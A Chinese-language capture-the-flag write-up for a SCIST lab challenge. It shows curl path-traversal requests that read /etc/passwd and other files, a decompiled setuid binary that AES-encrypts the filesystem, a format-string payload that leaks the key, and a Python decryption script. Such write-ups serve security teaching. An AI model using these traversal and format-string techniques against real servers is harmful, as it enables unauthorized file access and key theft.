首先先讀一下題述,這怪怪的 web,rev,crypto,pwn 的 tag 相信嚇了不少人,但其實大部分漏洞都很裸,只要會一點基本概念的話搭配 AI一定解的出來 XD
- 先觀察一下
app.py
from flask import Flask, request, jsonify, send_file,render_templateimport base64import subprocessimport os
app = Flask(__name__)app.static_folder = 'static'OhYeahmAlwaRe = "./OhYeahmAlwaRe"
def init_OhYeahmAlwaRe(): subprocess.run([OhYeahmAlwaRe, "Oh", "Yeah", "CRY"], check=True) return "Initialization complete ✅"
@app.route('/hacker_image', methods=['GET'])def hacker_image(): image = request.args.get('hacker') if not image: return {"error": "No hacker parameter"}, 400
file_path = os.path.join(os.getcwd(), "static", "hacker", image)
return send_file(file_path, mimetype='image/png')
@app.route('/version',methods=['GET'])def version(): author = request.args.get('author') if author: try: res = subprocess.run([OhYeahmAlwaRe, author],capture_output=True, text=False, check=True) encoded = base64.b64encode(res.stdout).decode() return jsonify({"response": encoded}) except subprocess.CalledProcessError as e: return jsonify({"error": "Internal Server Error"}), 500 return jsonify({"error": "No author provided"}), 400
@app.route('/', methods=['GET'])def index(): return render_template('index.html')
if __name__ == '__main__': init_OhYeahmAlwaRe() app.run(host='0.0.0.0', port=31614, debug=False)Dockerfile
FROM ubuntu:22.04
ARG SEC_DIRARG FLAG
RUN apt-get update && apt-get install -y \ gcc \ libssl-dev \ python3 \ python3-pip \ xxd \ && rm -rf /var/lib/apt/lists/*
RUN useradd -m ctfuser
WORKDIR /app/${SEC_DIR}
COPY ./templates ./templatesCOPY OhYeahmAlwaRe.c ./COPY ./static ./static
RUN gcc OhYeahmAlwaRe.c -o OhYeahmAlwaRe -lcrypto
RUN head -c 32 /dev/urandom | xxd -p -c 64 > /root/sec.key && chmod 400 /root/sec.key
RUN chown root:root OhYeahmAlwaRe && chmod 4755 OhYeahmAlwaRe
COPY app.py ./app.py
RUN python3 -m pip install flaskRUN rm OhYeahmAlwaRe.c
RUN echo "$FLAG" > /home/flag.txt
EXPOSE 31614
USER ctfuser
CMD ["python3", "app.py"]從這邊可以觀察到幾件事情
- 伺服器一開始會啟動 OhYeahmAlwaRe 去初始化整個環境
/hacker_image的功能有 LFI 可以讓你下載檔案/version可以讓你和OhYeahmAlwaRe互動/root底下有一個奇怪的 key, 但利用 LFI 讀取不了(權限不夠)
不過竟然可以下載檔案的話!那不就水題直接把 flag.txt 載下來就好?!
- flag.txt
curl "http://lab.scist.org:31614/hacker_image?hacker=../../../../../home/flag.txt" --path-as-is -o ./flag.txt % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed100 80 100 80 0 0 2132 0 --:--:-- --:--:-- --:--:-- 2162
cat flag.txtλp��;Xì{%OS�����CڑFi '|U?$V�?w%竟然是奇怪的亂碼,我們來載一下其他的檔案看看
- /etc/passwd
curl "http://lab.scist.org:31614/hacker_image?hacker=../../../../../etc/passwd" --path-as-is -o ./passwd % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed100 976 100 976 0 0 26795 0 --:--:-- --:--:-- --:--:-- 27111
cat passwd!:d5�)�P�itM�m֖l){q��,r%g�L�*NƦqt%;e�#{�U��oC_�y�3__sH��C<�2FD;9]c:N)^wҩٗ/kF�\ش��еVIzҦt{V�-��ւ�-�es}ʾKܭ�1$"�/�´]P�|K�/u_2�n`0�ߟN:)"7'g#͇��8�:@[gY� �d�xv˧O�� "�g�y*#+Zq��,��"�'��etSHP��h �N�ψ'g-���8 �%�jc^��z�7,a[OPONs{x k¯H�֥Si��cAMben@u@@6���\^qPz?9ώץ�0�㈌����1���lR��1�tU�Wlʎhڹם}Ù7)���]��%D1�dqQˬxe�X{Kxi}!��� e#� P7q�PQ�4Wo�V#ڔ�F;H_��.C$��І=yc�(@��A ,MnL�������Q��c(4*ډ�>]ߎ"1רn��pkR ���h0�wڤ̇u /!2�G�ǐ�Y(�ǭZ�߀!,햱��J���]T�ǀ%也是相同的結果,會不會其實所有檔案都被加密了? 那我們把最奇怪的 OhYeahmAlwaRe 下載來分析一下吧!
但這邊有個技巧,在 Dockerfile 中你不知道 OhYeahmAlwaRe 跑的確切位置,但你可以用一個特別的路徑 /proc/self/cwd 去訪問到 web server 當前跑的目錄!!
curl "http://lab.scist.org:31614/hacker_image?hacker=../../../../../proc/self/cwd/OhYeahmAlwaRe" --path-as-is -o ./OhYeahmAlwaRe % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed100 17248 100 17248 0 0 388k 0 --:--:-- --:--:-- --:--:-- 391k好耶!我們直接開 IDA 來分析吧!
- main
int __fastcall main(int argc, const char **argv, const char **envp){ FILE *stream; // [rsp+10h] [rbp-40h] FILE *v5; // [rsp+18h] [rbp-38h] _BYTE v6[40]; // [rsp+20h] [rbp-30h] BYREF unsigned __int64 v7; // [rsp+48h] [rbp-8h]
v7 = __readfsqword(0x28u); if ( argc == 4 && !strcmp(argv[1], "Oh") && !strcmp(argv[2], "Yeah") && !strcmp(argv[3], "CRY") ) { stream = fopen("/root/sec.key", "r"); if ( stream ) { fread(&key_hex, 1uLL, 0x40uLL, stream); byte_4080 = 0; fclose(stream); hex_to_bytes(&key_hex, v6, 32LL); encrypt_all_files((__int64)v6); return 0; } else { return 1; } } else if ( argc == 2 ) { v5 = fopen("/root/sec.key", "r"); if ( v5 ) { fread(&key_hex, 1uLL, 0x40uLL, v5); byte_4080 = 0; fclose(v5); hex_to_bytes(&key_hex, v6, 32LL); show_author(argv[1]); return 0; } else { return 1; } } else { return 1; }}首先可以看到他主要有兩個功能,當使用 ./OhYeahmAlwaRe Oh Yeah CRY 的時候看起來會加密檔案,讓我們追進去看看他怎麼做的!
- encrypt_all_files
unsigned __int64 __fastcall encrypt_all_files(__int64 a1){ DIR *dirp; // [rsp+10h] [rbp-1020h] struct dirent *v3; // [rsp+18h] [rbp-1018h] char s[16]; // [rsp+20h] [rbp-1010h] BYREF unsigned __int64 v5; // [rsp+1028h] [rbp-8h]
v5 = __readfsqword(0x28u); dirp = opendir("/"); if ( dirp ) { while ( 1 ) { v3 = readdir(dirp); if ( !v3 ) break; if ( strcmp(v3->d_name, ".") ) { if ( strcmp(v3->d_name, "..") ) { snprintf(s, 0x1000uLL, "/%s", v3->d_name); if ( !(unsigned int)should_skip_path(s) ) encrypt_file(s, a1); } } } closedir(dirp); } return v5 - __readfsqword(0x28u);}這邊就是在選定幾乎所有檔案然後去加密
- encrypt_file
unsigned __int64 __fastcall encrypt_file(const char *a1, __int64 a2){ __int64 v2; // rax __int64 i; // [rsp+18h] [rbp-11E8h] FILE *stream; // [rsp+20h] [rbp-11E0h] __int64 n; // [rsp+28h] [rbp-11D8h] __int64 size; // [rsp+30h] [rbp-11D0h] void *ptr; // [rsp+38h] [rbp-11C8h] void *v9; // [rsp+40h] [rbp-11C0h] FILE *v10; // [rsp+48h] [rbp-11B8h] DIR *dirp; // [rsp+50h] [rbp-11B0h] struct dirent *v12; // [rsp+58h] [rbp-11A8h] stat buf; // [rsp+60h] [rbp-11A0h] BYREF char s[16]; // [rsp+1F0h] [rbp-1010h] BYREF unsigned __int64 v15; // [rsp+11F8h] [rbp-8h]
v15 = __readfsqword(0x28u); if ( !(unsigned int)should_skip_path(a1) && lstat(a1, &buf) != -1 ) { if ( (buf.st_mode & 0xF000) == 0x4000 ) { dirp = opendir(a1); if ( dirp ) { while ( 1 ) { v12 = readdir(dirp); if ( !v12 ) break; if ( strcmp(v12->d_name, ".") ) { if ( strcmp(v12->d_name, "..") ) { snprintf(s, 0x1000uLL, "%s/%s", a1, v12->d_name); if ( !(unsigned int)should_skip_path(s) ) encrypt_file(s, a2); } } } closedir(dirp); } } else if ( (buf.st_mode & 0xF000) == 0x8000 ) { stream = fopen(a1, "rb"); if ( stream ) { fseek(stream, 0LL, 2); n = ftell(stream); rewind(stream); if ( n ) { v2 = n + 15; if ( n + 15 < 0 ) v2 = n + 30; size = 16 * (v2 >> 4); ptr = calloc(1uLL, size); fread(ptr, 1uLL, n, stream); fclose(stream); v9 = malloc(size); AES_set_encrypt_key(); for ( i = 0LL; i < size; i += 16LL ) AES_ecb_encrypt(); v10 = fopen(a1, "wb"); if ( v10 ) { fwrite(v9, 1uLL, size, v10); fclose(v10); } free(ptr); free(v9); } else { fclose(stream); } } } } return v15 - __readfsqword(0x28u);}這邊主要是實作的地方,可以看到他是用 AES-ECB-256 加密的(可以從前面看到他讀進來的金鑰是 32 位元)。
另外在只有給定一個參數時,有一個很明顯的 fmt 漏洞,所以我們的目標就很明確了,可以利用這個 fmt 漏洞去 leak 我們的 key.
可以使用 gdb 去看 stack 上的位置或是有人暴力炸也可以!
透過 /version 就可以去跟 binary 互動了。
%2514$p%20%2515$p%20%2516$p%20%2517$p
Powered by0xc1c767de2b0fd95b 0x8d578ad7879f4133 0x57ca5c137fba6298 0x350e39b09bc06a3e我們可以用這個 payload 去 leak 出 key (% 記得要 url encode 成 %25 不然會壞掉)
最後就寫腳本解回來就好了!
from Crypto.Cipher import AES
def flag(): key_parts = [ 0xc1c767de2b0fd95b, 0x8d578ad7879f4133, 0x57ca5c137fba6298, 0x350e39b09bc06a3e ]
key = b'' for part in key_parts: key += part.to_bytes(8, 'little') enc = './flag.txt'
with open(enc, 'rb') as f: ciphertext = f.read() cipher = AES.new(key, AES.MODE_ECB)
print(cipher.decrypt(ciphertext).decode())
if __name__ == '__main__': flag()python3 de.pySCIST{UNLe55_KEY_s000Ar_E45y_I_WILl_4dd_M0Re_cRyP70_Nex7_7ImE-!.maybe.+_+}SCIST{UNLe55_KEY_s000Ar_E45y_I_WILl_4dd_M0Re_cRyP70_Nex7_7ImE-!.maybe.+_+}